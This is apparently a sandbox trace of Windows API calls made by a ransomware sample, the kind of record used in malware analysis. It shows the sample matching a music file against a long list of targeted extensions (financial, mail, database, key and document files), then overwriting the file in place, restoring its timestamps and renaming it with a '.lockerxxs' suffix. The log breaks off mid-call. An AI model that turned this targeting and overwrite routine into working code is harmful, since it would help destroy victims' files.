[0090.379] lstrlenA (lpString="*.qbw") returned 5 [0090.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.qbb") returned 0 [0090.379] lstrlenA (lpString="*.qbb") returned 5 [0090.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.qbm") returned 0 [0090.379] lstrlenA (lpString="*.qbm") returned 5 [0090.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.qbo") returned 0 [0090.380] lstrlenA (lpString="*.qbo") returned 5 [0090.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.qbx") returned 0 [0090.380] lstrlenA (lpString="*.qbx") returned 5 [0090.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.qba") returned 0 [0090.380] lstrlenA (lpString="*.qba") returned 5 [0090.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.qby") returned 0 [0090.380] lstrlenA (lpString="*.qby") returned 5 [0090.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.qbj") returned 0 [0090.380] lstrlenA (lpString="*.qbj") returned 5 [0090.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.ofx") returned 0 [0090.380] lstrlenA (lpString="*.ofx") returned 5 [0090.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.qif") returned 0 [0090.380] lstrlenA (lpString="*.qif") returned 5 [0090.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.mye") returned 0 [0090.380] lstrlenA (lpString="*.mye") returned 5 [0090.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.mbox") returned 0 [0090.380] lstrlenA (lpString="*.mbox") returned 6 [0090.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.eml") returned 0 [0090.380] lstrlenA (lpString="*.eml") returned 5 [0090.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.pst") returned 0 [0090.380] lstrlenA (lpString="*.pst") returned 5 [0090.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.ost") returned 0 [0090.381] lstrlenA (lpString="*.ost") returned 5 [0090.381] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.idx") returned 0 [0090.381] lstrlenA (lpString="*.idx") returned 5 [0090.381] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.dbx") returned 0 [0090.381] lstrlenA (lpString="*.dbx") returned 5 [0090.381] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.sql") returned 0 [0090.381] lstrlenA (lpString="*.sql") returned 5 [0090.381] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.mdb") returned 0 [0090.381] lstrlenA (lpString="*.mdb") returned 5 [0090.381] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.fdb") returned 0 [0090.381] lstrlenA (lpString="*.fdb") returned 5 [0090.381] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.wab") returned 0 [0090.381] lstrlenA (lpString="*.wab") returned 5 [0090.381] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.dat") returned 0 [0090.381] lstrlenA (lpString="*.dat") returned 5 [0090.381] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.txt") returned 0 [0090.381] lstrlenA (lpString="*.txt") returned 5 [0090.381] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.jpeg") returned 0 [0090.381] lstrlenA (lpString="*.jpeg") returned 6 [0090.382] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.jpg") returned 0 [0090.382] lstrlenA (lpString="*.jpg") returned 5 [0090.382] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.png") returned 0 [0090.382] lstrlenA (lpString="*.png") returned 5 [0090.382] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.php") returned 0 [0090.382] lstrlenA (lpString="*.php") returned 5 [0090.382] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.cs") returned 0 [0090.382] lstrlenA (lpString="*.cs") returned 4 [0090.382] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.cpp") returned 0 [0090.382] lstrlenA (lpString="*.cpp") returned 5 [0090.382] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.rar") returned 0 [0090.382] lstrlenA (lpString="*.rar") returned 5 [0090.382] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.zip") returned 0 [0090.382] lstrlenA (lpString="*.zip") returned 5 [0090.382] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.html") returned 0 [0090.382] lstrlenA (lpString="*.html") returned 6 [0090.382] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.htm") returned 0 [0090.382] lstrlenA (lpString="*.htm") returned 5 [0090.382] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.xlsx") returned 0 [0090.382] lstrlenA (lpString="*.xlsx") returned 6 [0090.382] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.xls") returned 0 [0090.382] lstrlenA (lpString="*.xls") returned 5 [0090.383] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.mp4") returned 0 [0090.383] lstrlenA (lpString="*.mp4") returned 5 [0090.383] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.ppt") returned 0 [0090.383] lstrlenA (lpString="*.ppt") returned 5 [0090.383] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.pptx") returned 0 [0090.383] lstrlenA (lpString="*.pptx") returned 6 [0090.383] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.doc") returned 0 [0090.383] lstrlenA (lpString="*.doc") returned 5 [0090.383] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.dot") returned 0 [0090.383] lstrlenA (lpString="*.dot") returned 5 [0090.383] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.docx") returned 0 [0090.383] lstrlenA (lpString="*.docx") returned 6 [0090.383] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.7z") returned 0 [0090.384] lstrlenA (lpString="*.7z") returned 4 [0090.384] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.tar") returned 0 [0090.384] lstrlenA (lpString="*.tar") returned 5 [0090.384] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.bz2") returned 0 [0090.384] lstrlenA (lpString="*.bz2") returned 5 [0090.384] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.gz") returned 0 [0090.384] lstrlenA (lpString="*.gz") returned 4 [0090.384] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.mkv") returned 0 [0090.384] lstrlenA (lpString="*.mkv") returned 5 [0090.384] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.eml") returned 0 [0090.384] lstrlenA (lpString="*.eml") returned 5 [0090.384] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.msg") returned 0 [0090.384] lstrlenA (lpString="*.msg") returned 5 [0090.384] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.edb") returned 0 [0090.384] lstrlenA (lpString="*.edb") returned 5 [0090.384] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.accdb") returned 0 [0090.384] lstrlenA (lpString="*.accdb") returned 7 [0090.384] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.odb") returned 0 [0090.384] lstrlenA (lpString="*.odb") returned 5 [0090.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.java") returned 0 [0090.385] lstrlenA (lpString="*.java") returned 6 [0090.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.asm") returned 0 [0090.385] lstrlenA (lpString="*.asm") returned 5 [0090.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.pfx") returned 0 [0090.385] lstrlenA (lpString="*.pfx") returned 5 [0090.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.pem") returned 0 [0090.385] lstrlenA (lpString="*.pem") returned 5 [0090.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.p12") returned 0 [0090.385] lstrlenA (lpString="*.p12") returned 5 [0090.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.gpg") returned 0 [0090.385] lstrlenA (lpString="*.gpg") returned 5 [0090.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.vsd") returned 0 [0090.385] lstrlenA (lpString="*.vsd") returned 5 [0090.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.odg") returned 0 [0090.385] lstrlenA (lpString="*.odg") returned 5 [0090.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.raw") returned 0 [0090.385] lstrlenA (lpString="*.raw") returned 5 [0090.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.nef") returned 0 [0090.385] lstrlenA (lpString="*.nef") returned 5 [0090.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.svg") returned 0 [0090.386] lstrlenA (lpString="*.svg") returned 5 [0090.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.psd") returned 0 [0090.386] lstrlenA (lpString="*.psd") returned 5 [0090.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.vmx") returned 0 [0090.386] lstrlenA (lpString="*.vmx") returned 5 [0090.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.vmdk") returned 0 [0090.386] lstrlenA (lpString="*.vmdk") returned 6 [0090.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.vdi") returned 0 [0090.386] lstrlenA (lpString="*.vdi") returned 5 [0090.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.lay6") returned 0 [0090.386] lstrlenA (lpString="*.lay6") returned 6 [0090.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.mpeg") returned 0 [0090.386] lstrlenA (lpString="*.mpeg") returned 6 [0090.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.djvu") returned 0 [0090.386] lstrlenA (lpString="*.djvu") returned 6 [0090.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.tiff") returned 0 [0090.386] lstrlenA (lpString="*.tiff") returned 6 [0090.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.backup") returned 0 [0090.386] lstrlenA (lpString="*.backup") returned 8 [0090.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.pdf") returned 0 [0090.387] lstrlenA (lpString="*.pdf") returned 5 [0090.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.cert") returned 0 [0090.387] lstrlenA (lpString="*.cert") returned 6 [0090.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.docm") returned 0 [0090.387] lstrlenA (lpString="*.docm") returned 6 [0090.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.xlsm") returned 0 [0090.387] lstrlenA (lpString="*.xlsm") returned 6 [0090.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.dwg") returned 0 [0090.387] lstrlenA (lpString="*.dwg") returned 5 [0090.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.nd") returned 0 [0090.387] lstrlenA (lpString="*.nd") returned 4 [0090.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.tlg") returned 0 [0090.387] lstrlenA (lpString="*.tlg") returned 5 [0090.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.lgb") returned 0 [0090.387] lstrlenA (lpString="*.lgb") returned 5 [0090.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.mov") returned 0 [0090.387] lstrlenA (lpString="*.mov") returned 5 [0090.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.xdw") returned 0 [0090.387] lstrlenA (lpString="*.xdw") returned 5 [0090.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.ods") returned 0 [0090.388] lstrlenA (lpString="*.ods") returned 5 [0090.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.wav") returned 0 [0090.388] lstrlenA (lpString="*.wav") returned 5 [0090.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.mp3") returned 0 [0090.388] lstrlenA (lpString="*.mp3") returned 5 [0090.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.aiff") returned 0 [0090.388] lstrlenA (lpString="*.aiff") returned 6 [0090.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.flac") returned 0 [0090.388] lstrlenA (lpString="*.flac") returned 6 [0090.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.m4a") returned 1 [0090.388] lstrlenA (lpString="*.m4a") returned 5 [0090.388] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a" [0090.388] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a" [0090.388] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a." [0090.388] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a.lockerxxs" [0090.388] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\sbc7u9p4jsustm4f2\\joqchbvz4n.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0090.389] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x514b [0090.389] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xc4b20260, dwHighDateTime=0x1d5e7a8), lpLastAccessTime=0x407536*(dwLowDateTime=0xcbc8ffc0, dwHighDateTime=0x1d5e674), lpLastWriteTime=0x40753e*(dwLowDateTime=0xcbc8ffc0, dwHighDateTime=0x1d5e674)) returned 1 [0090.389] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.389] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x5125, lpOverlapped=0x0) returned 1 [0090.391] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a") returned="jOqchBvz4n.m4a" [0090.391] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.391] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x5125, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x5125, lpOverlapped=0x0) returned 1 [0090.391] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.391] CloseHandle (hObject=0x90) returned 1 [0090.391] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\sbc7u9p4jsustm4f2\\joqchbvz4n.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\sbc7u9p4jsustm4f2\\joqchbvz4n.m4a.lockerxxs")) returned 1 [0090.393] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | 